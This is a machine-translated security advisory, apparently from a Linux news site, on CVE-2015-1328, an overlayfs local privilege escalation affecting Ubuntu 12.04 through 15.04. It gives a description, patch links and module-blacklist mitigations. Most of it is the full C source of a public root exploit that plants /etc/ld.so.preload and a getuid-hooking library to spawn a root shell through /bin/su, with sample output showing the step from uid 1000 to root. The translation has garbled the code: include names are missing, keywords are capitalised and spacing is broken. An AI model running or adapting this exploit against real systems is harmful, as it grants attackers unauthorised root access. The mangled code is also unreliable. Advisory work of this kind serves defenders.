Guest tulinux kernel overlayfs File System Local Privilege Escalation Vulnerability (CVE-2015-1328)

Guest tulinux kernel overlayfs File System Local Privilege Escalation Vulnerability (CVE-2015-1328) Release Date: Updated: Affected Systems: Guest tulinux15.04?tulinux14.10=tulinux14.04?tulinux12.04 Description: CVE (CAN) ID: CVE-2015-1328ov Ubuntu Linux kernel overlayfs Local Privilege Escalation Vulnerability (CVE-2015-1328)

Release date:
Updated on:

Affected Systems:

Ubuntu Linux 15.04
Ubuntu Linux 14.10
Ubuntu Linux 14.04
Ubuntu Linux 12.04

Description:

CVE (CAN) ID: CVE-2015-1328

Overlayfs is an overlay file system that overlays another file system on the underlying file system. In Linux kernel 3.18, overlayfs support has been added. The Ubuntu Linux kernel has been added to this support earlier versions.

The overlayfs File System of Ubuntu Linux kernel has a permission check vulnerability. Local Users can obtain administrator permissions. This vulnerability affects all officially supported Ubuntu Linux versions. Currently, attack code has been released. We recommend that you upgrade the affected users as soon as possible.

This vulnerability occurs because the overlayfs file system does not correctly check file permissions when creating new files in the upper-level file system directory. It only checks whether the owner of the modified file has the permission to write data to the upper-level file system directory. As a result, when a file is copied from the bottom-level file system directory to the upper-level file system directory, the file attributes are also copied along with them. If the CONFIG_USER_NS = y and FS_USERNS_MOUNT flags are set in the Linux kernel, a common user is allowed to mout an overlayfs File System in a low-Permission user namespace. Common Local Users can exploit this vulnerability to create new files or read sensitive files in the sensitive system directory, so as to escalate to administrator privileges.


<* Source: Philip Pettersson

Link: http://seclists.org/oss-sec/2015/q2/717
Http://www.ubuntu.com/usn/usn-2640-1/
Http://www.ubuntu.com/usn/usn-2641-1/
Http://www.ubuntu.com/usn/usn-2642-1/
Http://www.ubuntu.com/usn/usn-2643-1/
Http://www.ubuntu.com/usn/usn-2644-1/
Http://www.ubuntu.com/usn/usn-2645-1/
Http://www.ubuntu.com/usn/usn-2646-1/
Http://www.ubuntu.com/usn/usn-2647-1/
*>

Test method:

Alert

The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!

Https://www.exploit-db.com/exploits/37292/


/*
# Exploit Title: ofs. c-overlayfs local root in ubuntu
# Date: 2015-06-15
# Exploit Author: rebel
# Version: Ubuntu 12.04, 14.04, 14.10, 15.04 (Kernels before)
# Tested on: Ubuntu 12.04, 14.04, 14.10, 15.04
# CVE: CVE-2015-1328 (http://people.canonical.com /~ Ubuntu-security/cve/2015/CVE-2015-1328.html)

* = * * = *
CVE-2015-1328/ofs. c
Overlayfs incorrect permission handling + FS_USERNS_MOUNT

User @ ubuntu-server-1504 :~ $ Uname-
Linux ubuntu-server-1504 3.19.0-18-generic # 18-Ubuntu SMP Tue May 19 18:31:35 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
User @ ubuntu-server-1504 :~ $ Gcc ofs. c-o ofs
User @ ubuntu-server-1504 :~ $ Id
Uid = 1000 (user) gid = 1000 (user) groups = 1000 (user), 24 (cdrom), 30 (dip), 46 (plugdev)
User @ ubuntu-server-1504 :~ $./Ofs
Spawning threads
Mount #1
Mount #2
Child threads done
/Etc/ld. so. preload created
Creating shared library
# Id
Uid = 0 (root) gid = 0 (root) groups = 0 (root), 24 (cdrom), 30 (dip), 46 (plugdev), 1000 (user)

Greets to beist & kaliman

% Rebel %
* = * * = *
*/

# Include
# Include
# Include
# Include
# Include
# Include
# Include
# Include
# Include
# Include
# Include
# Include
# Include
# Include
# Include
# Include
# Include
# Include
# Include

# Define LIB "# include \ N \ nuid_t (* _ real_getuid) (void); \ nchar path [128]; \ n \ nuid_t \ ngetuid (void) \ n {\ n_real_getuid = (uid_t (*) (void) dlsym (void *)-1, \ "getuid \"); \ nreadlink (\ "/proc/self/exe \", (char *) & path, 128); \ nif (geteuid () = 0 &&! Strcmp (path, \ "/bin/su \") {\ nunlink (\ "/etc/ld. so. preload \ "); unlink (\"/tmp/ofs-lib.so \ "); \ nsetresuid (0, 0, 0); \ nsetresgid (0, 0, 0 ); \ nexecle (\ "/bin/sh \", \ "sh \", \ "-I \", NULL, NULL ); \ n} \ n return _ real_getuid (); \ n} \ n"

Static char child_stack [1024*1024];

Static int
Child_exec (void * stuff)
{
Char * file;
System ("rm-rf/tmp/ns_sploit ");
Mkdir ("/tmp/ns_sploit", 0777 );
Mkdir ("/tmp/ns_sploit/work", 0777 );
Mkdir ("/tmp/ns_sploit/upper", 0777 );
Mkdir ("/tmp/ns_sploit/o", 0777 );

Fprintf (stderr, "mount #1 \ n ");
If (mount ("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir =/proc/sys/kernel, upperdir =/tmp/ns_sploit/upper ")! = 0 ){
// Workdir = and "overlay" is needed on newer kernels, also can't use/proc as lower
If (mount ("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir =/sys/kernel/security/apparmor, upperdir =/tmp/ns_sploit/upper, workdir =/tmp/ns_sploit/work ")! = 0 ){
Fprintf (stderr, "no FS_USERNS_MOUNT for overlayfs on this kernel \ n ");
Exit (-1 );
}
File = ". access ";
Chmod ("/tmp/ns_sploit/work", 0777 );
} Else file = "ns_last_pid ";

Chdir ("/tmp/ns_sploit/o ");
Rename (file, "ld. so. preload ");

Chdir ("/");
Umount ("/tmp/ns_sploit/o ");
Fprintf (stderr, "mount #2 \ n ");
If (mount ("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir =/tmp/ns_sploit/upper, upperdir =/etc ")! = 0 ){
If (mount ("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir =/tmp/ns_sploit/upper, upperdir =/etc, workdir =/tmp/ns_sploit/work ")! = 0 ){
Exit (-1 );
}
Chmod ("/tmp/ns_sploit/work", 0777 );
}

Chmod ("/tmp/ns_sploit/o/ld. so. preload", 0777 );
Umount ("/tmp/ns_sploit/o ");
}

Int
Main (int argc, char ** argv)
{
Int status, fd, lib;
Pid_t wrapper, init;
Int clone_flags = CLONE_NEWNS | SIGCHLD;

Fprintf (stderr, "spawning threads \ n ");

If (wrapper = fork () = 0 ){
If (unshare (CLONE_NEWUSER )! = 0)
Fprintf (stderr, "failed to create new user namespace \ n ");

If (init = fork () = 0 ){
Pid_t pid =
Clone (child_exec, child_stack + (1024*1024), clone_flags, NULL );
If (pid <0 ){
Fprintf (stderr, "failed to create new mount namespace \ n ");
Exit (-1 );
}

Waitpid (pid, & status, 0 );

}

Waitpid (init, & status, 0 );
Return 0;
}

Usleep (300000 );

Wait (NULL );

Fprintf (stderr, "child threads done \ n ");

Fd = open ("/etc/ld. so. preload", O_WRONLY );

If (fd =-1 ){
Fprintf (stderr, "exploit failed \ n ");
Exit (-1 );
}

Fprintf (stderr, "/etc/ld. so. preload created \ n ");
Fprintf (stderr, "creating shared library \ n ");
Lib = open ("/tmp/ofs-lib.c", O_CREAT | O_WRONLY, 0777 );
Write (lib, LIB, strlen (LIB ));
Close (lib );
Lib = system ("gcc-fPIC-shared-o/tmp/ofs-lib.so/tmp/ofs-lib.c-ldl-w ");
If (lib! = 0 ){
Fprintf (stderr, "couldn't create dynamic library \ n ");
Exit (-1 );
}
Write (fd, "/tmp/ofs-lib.so \ n", 16 );
Close (fd );
System ("rm-rf/tmp/ns_sploit/tmp/ofs-lib.c ");
Execl ("/bin/su", "su", NULL );
}

Suggestion:

Temporary solution:

If you cannot upgrade the kernel in time and do not need to use overlayfs, You can blacklist overelayfs.
You can also directly Delete the overlayfs. ko or overlay. ko module file:

# Modprobe-r overlayfs
# Echo "blacklist overlayfs">/etc/modprobe. d/blacklist-overlayfs.conf

Note: In earlier versions, the kernel module name may also be overlay.
You can use modinfo overlay or modinfo overlayfs to confirm the accurate kernel module name.

Vendor patch:

Ubuntu
------
Ubuntu has released the following security announcements and corresponding patches:


Http://www.ubuntu.com/usn/usn-2640-1
Http://www.ubuntu.com/usn/usn-2641-1
Http://www.ubuntu.com/usn/usn-2642-1
Http://www.ubuntu.com/usn/usn-2643-1
Http://www.ubuntu.com/usn/usn-2644-1
Http://www.ubuntu.com/usn/usn-2645-1
Http://www.ubuntu.com/usn/usn-2646-1
Http://www.ubuntu.com/usn/usn-2647-1

Additional information:
============

1. http://seclists.org/oss-sec/2015/q2/717
2. http://people.canonical.com /~ Ubuntu-security/cve/2015/CVE-2015-1328.html
3. https://www.exploit-db.com/exploits/37292/
4. http://www.nsfocus.net/index.php? Act = alert & do = view> aid = 158

For more information about Ubuntu, see Ubuntu special page http://www.linuxidc.com/topicnews.aspx? Tid = 2

This article permanently updates the link address: Http://www.linuxidc.com/Linux/2015-06/119036.htm